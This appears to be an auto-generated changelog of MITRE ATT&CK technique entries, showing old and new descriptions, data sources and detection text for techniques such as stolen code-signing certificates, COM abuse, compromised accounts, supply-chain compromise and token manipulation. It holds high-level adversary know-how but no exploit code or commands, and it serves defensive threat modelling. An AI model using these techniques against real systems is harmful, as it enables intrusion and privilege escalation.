| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). | Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy and/or ste | t | 1 | Adversaries may buy and/or steal code signing certificates t |
| > | al code signing certificates that can be used during targeti | > | hat can be used during targeting. Code signing is the proces | ||
| > | ng. Code signing is the process of digitally signing executa | > | s of digitally signing executables and scripts to confirm th | ||
| > | bles and scripts to confirm the software author and guarante | > | e software author and guarantee that the code has not been a | ||
| > | e that the code has not been altered or corrupted. Code sign | > | ltered or corrupted. Code signing provides a level of authen | ||
| > | ing provides a level of authenticity for a program from the | > | ticity for a program from the developer and a guarantee that | ||
| > | developer and a guarantee that the program has not been tamp | > | the program has not been tampered with.(Citation: Wikipedia | ||
| > | ered with.(Citation: Wikipedia Code Signing) Users and/or se | > | Code Signing) Users and/or security tools may trust a signe | ||
| > | curity tools may trust a signed piece of code more than an u | > | d piece of code more than an unsigned piece of code even if | ||
| > | nsigned piece of code even if they don't know who issued the | > | they don't know who issued the certificate or who the author | ||
| > | certificate or who the author is. Prior to [Code Signing]( | > | is. Prior to [Code Signing](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1553/002), adversaries | > | iques/T1553/002), adversaries may purchase or steal code sig | ||
| > | may purchase or steal code signing certificates for use in o | > | ning certificates for use in operations. The purchase of cod | ||
| > | perations. The purchase of code signing certificates may be | > | e signing certificates may be done using a front organizatio | ||
| > | done using a front organization or using information stolen | > | n or using information stolen from a previously compromised | ||
| > | from a previously compromised entity that allows the adversa | > | entity that allows the adversary to validate to a certificat | ||
| > | ry to validate to a certificate provider as that entity. Adv | > | e provider as that entity. Adversaries may also steal code s | ||
| > | ersaries may also steal code signing materials directly from | > | igning materials directly from a compromised third-party. | ||
| > | a compromised third-party. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:22:21.007000+00:00 | 2021-10-17 16:19:50.018000+00:00 |
| description | Before compromising a victim, adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party. | Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). | Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 23:48:33.904000+00:00 | 2022-04-01 20:43:55.632000+00:00 |
| x_mitre_data_sources[0] | Component firmware | Firmware: Firmware Modification |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | Disk forensics | Driver: Driver Metadata |
| x_mitre_detection | Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images. | Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use the Windows Component Object Model (COM) | t | 1 | Adversaries may use the Windows Component Object Model (COM) |
| > | for local code execution. COM is an inter-process communica | > | for local code execution. COM is an inter-process communica | ||
| > | tion (IPC) component of the native Windows application progr | > | tion (IPC) component of the native Windows application progr | ||
| > | amming interface (API) that enables interaction between soft | > | amming interface (API) that enables interaction between soft | ||
| > | ware objects, or executable code that implements one or more | > | ware objects, or executable code that implements one or more | ||
| > | interfaces.(Citation: Fireeye Hunting COM June 2019) Throug | > | interfaces.(Citation: Fireeye Hunting COM June 2019) Throug | ||
| > | h COM, a client object can call methods of server objects, w | > | h COM, a client object can call methods of server objects, w | ||
| > | hich are typically binary Dynamic Link Libraries (DLL) or ex | > | hich are typically binary Dynamic Link Libraries (DLL) or ex | ||
| > | ecutables (EXE).(Citation: Microsoft COM) Various COM inter | > | ecutables (EXE).(Citation: Microsoft COM) Remote COM executi | ||
| > | faces are exposed that can be abused to invoke arbitrary exe | > | on is facilitated by [Remote Services](https://attack.mitre. | ||
| > | cution via a variety of programming languages such as C, C++ | > | org/techniques/T1021) such as [Distributed Component Object | ||
| > | , Java, and [Visual Basic](https://attack.mitre.org/techniqu | > | Model](https://attack.mitre.org/techniques/T1021/003) (DCOM | ||
| > | es/T1059/005).(Citation: Microsoft COM) Specific COM objects | > | ).(Citation: Fireeye Hunting COM June 2019) Various COM int | ||
| > | also exist to directly perform functions beyond code execut | > | erfaces are exposed that can be abused to invoke arbitrary e | ||
| > | ion, such as creating a [Scheduled Task/Job](https://attack. | > | xecution via a variety of programming languages such as C, C | ||
| > | mitre.org/techniques/T1053), fileless download/execution, an | > | ++, Java, and [Visual Basic](https://attack.mitre.org/techni | ||
| > | d other adversary behaviors related to privilege escalation | > | ques/T1059/005).(Citation: Microsoft COM) Specific COM objec | ||
| > | and persistence.(Citation: Fireeye Hunting COM June 2019)(Ci | > | ts also exist to directly perform functions beyond code exec | ||
| > | tation: ProjectZero File Write EoP Apr 2018) | > | ution, such as creating a [Scheduled Task/Job](https://attac | ||
| > | k.mitre.org/techniques/T1053), fileless download/execution, | ||||
| > | and other adversary behaviors related to privilege escalatio | ||||
| > | n and persistence.(Citation: Fireeye Hunting COM June 2019)( | ||||
| > | Citation: ProjectZero File Write EoP Apr 2018) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:30:52.639000+00:00 | 2021-07-26 22:51:20.448000+00:00 |
| description | Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018) | Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018) |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | DLL monitoring | Module: Module Load |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise acc | t | 1 | Adversaries may compromise accounts with services that can b |
| > | ounts with services that can be used during targeting. For o | > | e used during targeting. For operations incorporating social | ||
| > | perations incorporating social engineering, the utilization | > | engineering, the utilization of an online persona may be im | ||
| > | of an online persona may be important. Rather than creating | > | portant. Rather than creating and cultivating accounts (i.e. | ||
| > | and cultivating accounts (i.e. [Establish Accounts](https:// | > | [Establish Accounts](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1585)), adversaries may comprom | > | 585)), adversaries may compromise existing accounts. Utilizi | ||
| > | ise existing accounts. Utilizing an existing persona may eng | > | ng an existing persona may engender a level of trust in a po | ||
| > | ender a level of trust in a potential victim if they have a | > | tential victim if they have a relationship, or knowledge of, | ||
| > | relationship, or knowledge of, the compromised persona. A | > | the compromised persona. A variety of methods exist for c | ||
| > | variety of methods exist for compromising accounts, such as | > | ompromising accounts, such as gathering credentials via [Phi | ||
| > | gathering credentials via [Phishing for Information](https:/ | > | shing for Information](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1598), purchasing credentials | > | 1598), purchasing credentials from third-party sites, or by | ||
| > | from third-party sites, or by brute forcing credentials (ex: | > | brute forcing credentials (ex: password reuse from breach cr | ||
| > | password reuse from breach credential dumps).(Citation: Ano | > | edential dumps).(Citation: AnonHBGary) Prior to compromising | ||
| > | nHBGary) Prior to compromising accounts, adversaries may con | > | accounts, adversaries may conduct Reconnaissance to inform | ||
| > | duct Reconnaissance to inform decisions about which accounts | > | decisions about which accounts to compromise to further thei | ||
| > | to compromise to further their operation. Personas may exi | > | r operation. Personas may exist on a single site or across | ||
| > | st on a single site or across multiple sites (ex: Facebook, | > | multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc | ||
| > | LinkedIn, Twitter, Google, etc.). Compromised accounts may r | > | .). Compromised accounts may require additional development, | ||
| > | equire additional development, this could include filling ou | > | this could include filling out or modifying profile informa | ||
| > | t or modifying profile information, further developing socia | > | tion, further developing social networks, or incorporating p | ||
| > | l networks, or incorporating photos. Adversaries may direct | > | hotos. Adversaries may directly leverage compromised email | ||
| > | ly leverage compromised email accounts for [Phishing for Inf | > | accounts for [Phishing for Information](https://attack.mitre | ||
| > | ormation](https://attack.mitre.org/techniques/T1598) or [Phi | > | .org/techniques/T1598) or [Phishing](https://attack.mitre.or | ||
| > | shing](https://attack.mitre.org/techniques/T1566). | > | g/techniques/T1566). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:05:46.296000+00:00 | 2021-10-16 17:15:12.428000+00:00 |
| description | Before compromising a victim, adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). | Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). |
| x_mitre_data_sources[0] | Social media monitoring | Persona: Social Media |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 12:51:45.475000+00:00 | 2022-04-28 16:05:10.755000+00:00 |
| x_mitre_data_sources[0] | Component firmware | Sensor Health: Host Status |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | BIOS | |
| x_mitre_data_sources | Disk forensics | |
| x_mitre_data_sources | EFI |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate software dependencies and develop | t | 1 | Adversaries may manipulate software dependencies and develop |
| > | ment tools prior to receipt by a final consumer for the purp | > | ment tools prior to receipt by a final consumer for the purp | ||
| > | ose of data or system compromise. Applications often depend | > | ose of data or system compromise. Applications often depend | ||
| > | on external software to function properly. Popular open sour | > | on external software to function properly. Popular open sour | ||
| > | ce projects that are used as dependencies in many applicatio | > | ce projects that are used as dependencies in many applicatio | ||
| > | ns may be targeted as a means to add malicious code to users | > | ns may be targeted as a means to add malicious code to users | ||
| > | of the dependency. (Citation: Trendmicro NPM Compromise) | > | of the dependency.(Citation: Trendmicro NPM Compromise) | ||
| > | Targeting may be specific to a desired victim set or may be | > | Targeting may be specific to a desired victim set or may be | ||
| > | distributed to a broad set of consumers but only move on to | > | distributed to a broad set of consumers but only move on to | ||
| > | additional tactics on specific victims. | > | additional tactics on specific victims. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 14:13:42.916000+00:00 | 2022-04-28 16:03:59.172000+00:00 |
| description | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. |
| x_mitre_data_sources[0] | File monitoring | File: File Metadata |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web proxy |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate application software prior to rec | t | 1 | Adversaries may manipulate application software prior to rec |
| > | eipt by a final consumer for the purpose of data or system c | > | eipt by a final consumer for the purpose of data or system c | ||
| > | ompromise. Supply chain compromise of software can take plac | > | ompromise. Supply chain compromise of software can take plac | ||
| > | e in a number of ways, including manipulation of the applica | > | e in a number of ways, including manipulation of the applica | ||
| > | tion source code, manipulation of the update/distribution me | > | tion source code, manipulation of the update/distribution me | ||
| > | chanism for that software, or replacing compiled releases wi | > | chanism for that software, or replacing compiled releases wi | ||
| > | th a modified version. Targeting may be specific to a desir | > | th a modified version. Targeting may be specific to a desir | ||
| > | ed victim set or may be distributed to a broad set of consum | > | ed victim set or may be distributed to a broad set of consum | ||
| > | ers but only move on to additional tactics on specific victi | > | ers but only move on to additional tactics on specific victi | ||
| > | ms.(Citation: Avast CCleaner3 2018) (Citation: Command Five | > | ms.(Citation: Avast CCleaner3 2018)(Citation: Command Five S | ||
| > | SK 2011) | > | K 2011) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 14:17:21.153000+00:00 | 2022-04-28 16:04:36.636000+00:00 |
| description | Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version. Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) | Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version. Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) |
| x_mitre_data_sources[0] | File monitoring | File: File Metadata |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web proxy |
Current version: 2.2
Version changed from: 2.1 → 2.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 12:44:28.199000+00:00 | 2021-08-12 13:04:14.534000+00:00 |
| x_mitre_data_sources[0] | Office 365 account logs | User Account: User Account Creation |
| x_mitre_data_sources[1] | Azure activity logs | Command: Command Execution |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Process: Process Creation |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | IaaS |
| x_mitre_platforms[4] | GCP | Linux |
| x_mitre_platforms[5] | Azure AD | macOS |
| x_mitre_platforms[6] | Azure | Google Workspace |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Windows event logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:08.299000+00:00 | 2021-03-08 10:33:02.034000+00:00 |
| x_mitre_data_sources[0] | GCP audit logs | Instance: Instance Creation |
| x_mitre_data_sources[1] | Stackdriver logs | Instance: Instance Metadata |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a new process with a duplicated token | t | 1 | Adversaries may create a new process with a different token |
| > | to escalate privileges and bypass access controls. An adver | > | to escalate privileges and bypass access controls. Processes | ||
| > | sary can duplicate a desired access token with <code>Duplica | > | can be created with the token and resulting security contex | ||
| > | teToken(Ex)</code> and use it with <code>CreateProcessWithTo | > | t of another user using features such as <code>CreateProcess | ||
| > | kenW</code> to create a new process running under the securi | > | WithTokenW</code> and <code>runas</code>.(Citation: Microsof | ||
| > | ty context of the impersonated user. This is useful for crea | > | t RunAs) Creating processes with a different token may requ | ||
| > | ting a new process under the security context of a different | > | ire the credentials of the target user, specific privileges | ||
| > | user. | > | to impersonate that user, or access to the token to be used | ||
| > | (ex: gathered via other means such as [Token Impersonation/T | ||||
| > | heft](https://attack.mitre.org/techniques/T1134/001) or [Mak | ||||
| > | e and Impersonate Token](https://attack.mitre.org/techniques | ||||
| > | /T1134/003)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Vadim Khrykov'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:28:19.476000+00:00 | 2021-10-17 14:51:48.978000+00:00 |
| description | Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with DuplicateToken(Ex) and use it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user. | Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)
Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)). |
| external_references[1]['source_name'] | Microsoft Command-line Logging | Microsoft RunAs |
| external_references[1]['description'] | Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. | Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing | https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11) |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| x_mitre_detection | If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex) and CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. | If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.
Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Access tokens | |
| x_mitre_data_sources | API monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may create a snapshot or data backup within a c | t | 1 | An adversary may create a snapshot or data backup within a c |
| > | loud account to evade defenses. A snapshot is a point-in-tim | > | loud account to evade defenses. A snapshot is a point-in-tim | ||
| > | e copy of an existing cloud compute component such as a virt | > | e copy of an existing cloud compute component such as a virt | ||
| > | ual machine (VM), virtual hard drive, or volume. An adversar | > | ual machine (VM), virtual hard drive, or volume. An adversar | ||
| > | y may leverage permissions to create a snapshot in order to | > | y may leverage permissions to create a snapshot in order to | ||
| > | bypass restrictions that prevent access to existing compute | > | bypass restrictions that prevent access to existing compute | ||
| > | service infrastructure, unlike in [Revert Cloud Instance](ht | > | service infrastructure, unlike in [Revert Cloud Instance](ht | ||
